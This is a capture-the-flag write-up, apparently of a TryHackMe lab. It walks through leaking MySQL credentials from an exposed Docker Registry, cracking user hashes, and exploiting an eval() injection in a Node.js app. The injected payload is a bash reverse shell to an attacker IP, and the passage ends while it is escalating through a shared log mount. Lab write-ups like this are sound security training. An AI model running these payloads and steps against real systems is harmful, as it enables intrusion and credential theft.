&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
3306/tcp open  mysql   MySQL 5.7.40
5000/tcp open  http    Docker Registry (API: 2.0)
8080/tcp open  http    Node.js (Express middleware)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Four open ports: SSH, a directly exposed MySQL instance, a Docker Registry API on 5000, and an Express-based web app on 8080.&lt;/p&gt;

&lt;p&gt;Checking the web app first:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://&amp;lt;machine-ip&amp;gt;:8080/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Returned a simple login form posting to &lt;code&gt;/auth&lt;/code&gt;, nothing more without credentials.&lt;/p&gt;

&lt;p&gt;The Docker Registry on port 5000 was more interesting - it's rare to see this exposed directly, and when it's unauthenticated it turns into a straightforward source of credentials and app internals.&lt;/p&gt;

&lt;h2&gt;
  
  
  Enumerating the Docker Registry
&lt;/h2&gt;

&lt;p&gt;Docker Registry API v2 exposes a predictable set of endpoints when there's no auth in front of it. Started with the catalog:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://&amp;lt;machine-ip&amp;gt;:5000/v2/_catalog
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"repositories"&lt;/span&gt;&lt;span class="p"&gt;:[&lt;/span&gt;&lt;span class="s2"&gt;"umbrella/timetracking"&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One repository: &lt;code&gt;umbrella/timetracking&lt;/code&gt;. Pulled its tags:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://&amp;lt;machine-ip&amp;gt;:5000/v2/umbrella/timetracking/tags/list
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"umbrella/timetracking"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"tags"&lt;/span&gt;&lt;span class="p"&gt;:[&lt;/span&gt;&lt;span class="s2"&gt;"latest"&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then pulled the image manifest for &lt;code&gt;latest&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://&amp;lt;machine-ip&amp;gt;:5000/v2/umbrella/timetracking/manifests/latest
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The manifest's &lt;code&gt;history&lt;/code&gt; array contains the full &lt;code&gt;v1Compatibility&lt;/code&gt; build history for every layer, including every &lt;code&gt;ENV&lt;/code&gt; instruction baked into the image at build time. Buried in the first history entry's &lt;code&gt;config.Env&lt;/code&gt; list:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="nl"&gt;"Env"&lt;/span&gt;&lt;span class="p"&gt;:[&lt;/span&gt;&lt;span class="s2"&gt;"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="s2"&gt;"NODE_VERSION=19.3.0"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="s2"&gt;"YARN_VERSION=1.22.19"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="s2"&gt;"DB_HOST=db"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="s2"&gt;"DB_USER=root"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="s2"&gt;"DB_PASS=Ng1-f3!Pe7-e5?Nf3xe5"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="s2"&gt;"DB_DATABASE=timetracking"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="s2"&gt;"LOG_FILE=/logs/tt.log"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A full set of MySQL credentials, straight out of the image build metadata, with zero need to pull or extract a single layer blob.&lt;/p&gt;

&lt;h2&gt;
  
  
  MySQL Access and Credential Dump
&lt;/h2&gt;

&lt;p&gt;The MySQL client failed initially over a self-signed cert:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;mysql &lt;span class="nt"&gt;-h&lt;/span&gt; &amp;lt;machine-ip&amp;gt;
ERROR 2026 &lt;span class="o"&gt;(&lt;/span&gt;HY000&lt;span class="o"&gt;)&lt;/span&gt;: TLS/SSL error: self-signed certificate &lt;span class="k"&gt;in &lt;/span&gt;certificate chain
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Disabling SSL verification and authenticating as &lt;code&gt;root&lt;/code&gt; with the password pulled from the registry got a shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;mysql &lt;span class="nt"&gt;-h&lt;/span&gt; &amp;lt;machine-ip&amp;gt; &lt;span class="nt"&gt;-u&lt;/span&gt; root &lt;span class="nt"&gt;--ssl&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0 &lt;span class="nt"&gt;-p&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;MySQL&lt;/span&gt; &lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="k"&gt;none&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;show&lt;/span&gt; &lt;span class="n"&gt;databases&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="c1"&gt;--------------------+&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;Database&lt;/span&gt;           &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="c1"&gt;--------------------+&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;information_schema&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;mysql&lt;/span&gt;              &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;performance_schema&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;                &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;timetracking&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="c1"&gt;--------------------+&lt;/span&gt;

&lt;span class="n"&gt;MySQL&lt;/span&gt; &lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="k"&gt;none&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;use&lt;/span&gt; &lt;span class="n"&gt;timetracking&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;MySQL&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;timetracking&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;show&lt;/span&gt; &lt;span class="n"&gt;tables&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="c1"&gt;------------------------+&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;Tables_in_timetracking&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="c1"&gt;------------------------+&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt;                  &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="c1"&gt;------------------------+&lt;/span&gt;

&lt;span class="n"&gt;MySQL&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;timetracking&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="c1"&gt;----------+----------------------------------+-------+&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;user&lt;/span&gt;     &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;pass&lt;/span&gt;                             &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;time&lt;/span&gt;  &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="c1"&gt;----------+----------------------------------+-------+&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;claire&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="n"&gt;ac9cb7dc02b3c0083eb70898e549b63&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;   &lt;span class="mi"&gt;360&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;chris&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;  &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;d107d09f5bbe40cade3de5c71e9e9b7&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;   &lt;span class="mi"&gt;420&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;jill&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;   &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;d5c0607301ad5d5c1528962a83992ac8&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;   &lt;span class="mi"&gt;564&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;barry&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;  &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="n"&gt;a04890400b5d7bac101baace5d7e994&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="mi"&gt;47893&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="c1"&gt;----------+----------------------------------+-------+&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Four users, each with an MD5 hash and an accumulated "time spent" value tied to the app's core feature. &lt;code&gt;barry-b&lt;/code&gt;'s time value was a massive outlier compared to the rest, which turned out to be relevant later.&lt;/p&gt;

&lt;p&gt;Cracked all four hashes with John and rockyou:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;john &lt;span class="nt"&gt;--format&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;raw-md5 &lt;span class="nt"&gt;--wordlist&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/share/wordlists/rockyou.txt hashes.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;letmein          (?)
sunshine1         (?)
Password1         (?)
sandwich          (?)
4g 0:00:00:00 DONE
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Matched each cracked password back to its hash with &lt;code&gt;echo -n &amp;lt;pass&amp;gt; | md5sum&lt;/code&gt; to build the full mapping:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;user&lt;/th&gt;
&lt;th&gt;password&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;claire-r&lt;/td&gt;
&lt;td&gt;Password1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;chris-r&lt;/td&gt;
&lt;td&gt;letmein&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;jill-v&lt;/td&gt;
&lt;td&gt;sunshine1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;barry-b&lt;/td&gt;
&lt;td&gt;sandwich&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Foothold
&lt;/h2&gt;

&lt;p&gt;None of the four pairs worked against the web app's &lt;code&gt;/auth&lt;/code&gt; endpoint - every attempt redirected straight back to the login page. SSH was the actual match: only &lt;code&gt;claire-r:Password1&lt;/code&gt; authenticated successfully.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh claire-r@&amp;lt;machine-ip&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;claire-r@ip-&amp;lt;machine-ip&amp;gt;:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;id
&lt;/span&gt;&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1001&lt;span class="o"&gt;(&lt;/span&gt;claire-r&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1001&lt;span class="o"&gt;(&lt;/span&gt;claire-r&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1001&lt;span class="o"&gt;(&lt;/span&gt;claire-r&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Grabbed the user flag immediately:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;claire-r@ip-&amp;lt;machine-ip&amp;gt;:~$ cat user.txt
THM{redacted}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;sudo -l&lt;/code&gt; confirmed no sudo rights for this account, so the next step was exploring the home directory for anything left behind.&lt;/p&gt;

&lt;h2&gt;
  
  
  Source Code Review and RCE
&lt;/h2&gt;

&lt;p&gt;Claire's home directory contained a full copy of the app's source, &lt;code&gt;timeTracker-src&lt;/code&gt;, including &lt;code&gt;app.js&lt;/code&gt;, the &lt;code&gt;docker-compose.yml&lt;/code&gt;, and a live-writable &lt;code&gt;logs/&lt;/code&gt; directory. The &lt;code&gt;docker-compose.yml&lt;/code&gt; confirmed the container layout:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;version&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;3.3'&lt;/span&gt;
&lt;span class="na"&gt;services&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;db&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;mysql:5.7&lt;/span&gt;
    &lt;span class="na"&gt;restart&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;always&lt;/span&gt;
    &lt;span class="na"&gt;environment&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;MYSQL_DATABASE&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;timetracking'&lt;/span&gt;
      &lt;span class="na"&gt;MYSQL_ROOT_PASSWORD&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Ng1-f3!Pe7-e5?Nf3xe5'&lt;/span&gt;
    &lt;span class="na"&gt;ports&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;3306:3306'&lt;/span&gt;
    &lt;span class="na"&gt;volumes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;./db:/docker-entrypoint-initdb.d&lt;/span&gt;
  &lt;span class="na"&gt;app&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;umbrella/timetracking:latest&lt;/span&gt;
    &lt;span class="na"&gt;restart&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;always&lt;/span&gt;
    &lt;span class="na"&gt;ports&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;8080:8080'&lt;/span&gt;
    &lt;span class="na"&gt;volumes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;./logs:/logs&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Critically, &lt;code&gt;./logs:/logs&lt;/code&gt; is a bind mount - the &lt;code&gt;logs&lt;/code&gt; directory on the host filesystem is the exact same directory the app container writes to, and it's writable by &lt;code&gt;claire-r&lt;/code&gt; (&lt;code&gt;drwxrw-rw-&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;The vulnerability was in &lt;code&gt;app.js&lt;/code&gt;, in the &lt;code&gt;/time&lt;/code&gt; route handler:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/time&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;session&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;loggedin&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;session&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;username&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;timeCalc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;parseInt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;time&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
        &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;time&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;isNaN&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;timeCalc&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;timeCalc&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;session&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;username&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="nx"&gt;connection&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;query&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;UPDATE users SET time = time + ? WHERE user = ?&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;time&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;username&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="p"&gt;...);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;time&lt;/code&gt; field submitted on the "Increase time spent" form goes straight into &lt;code&gt;eval()&lt;/code&gt;. The app even advertises this in its own UI as a feature ("Pro Tip: You can also use mathematical expressions, e.g. 5+4"), which is exactly the kind of hint that turns into unauthenticated-adjacent RCE.&lt;/p&gt;

&lt;p&gt;Logged into the web app as &lt;code&gt;claire-r:Password1&lt;/code&gt;, then submitted the following as the "time" value on &lt;code&gt;/time&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;child_process&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;bash -c "bash -i &amp;gt;&amp;amp; /dev/tcp/&amp;lt;attacker-ip&amp;gt;/4444 0&amp;gt;&amp;amp;1"&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;eval()&lt;/code&gt; executed the payload server-side inside the app container, and a reverse shell landed on a listener on port 4444:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;root@de0610f51845:/usr/src/app# &lt;span class="nb"&gt;whoami
&lt;/span&gt;root
root@de0610f51845:/usr/src/app# &lt;span class="nb"&gt;id
&lt;/span&gt;&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Root inside the container - but this is an isolated Docker container, not the host, and &lt;code&gt;docker&lt;/code&gt; wasn't even installed inside it to pivot from. The way out was the shared bind mount identified earlier.&lt;/p&gt;

&lt;h2&gt;
  
  
  Privilege Escalation via Shared Log Volume
&lt;/h2&gt;

&lt;p&gt;Since &lt;code&gt;/logs&lt;/code&gt; inside the container is the same filesystem location as &lt;code&gt;~/timeTracker-src/logs&lt;/code&gt; on the host, and the app container is running as root, anything written to &lt;code&gt;/logs&lt;/code&gt; from inside the container lands on the host owned by root - with the app's own filesystem permissions.&lt;/p&gt;

&lt;p&gt;Confirmed the mount was shared by writing a test file from inside the container:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;root@de0610f51845:~# &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'test'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /logs/test
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;claire-r@ip-&amp;lt;machine-ip&amp;gt;:~/timeTracker-src&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;logs/test
&lt;span class="nb"&gt;test&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



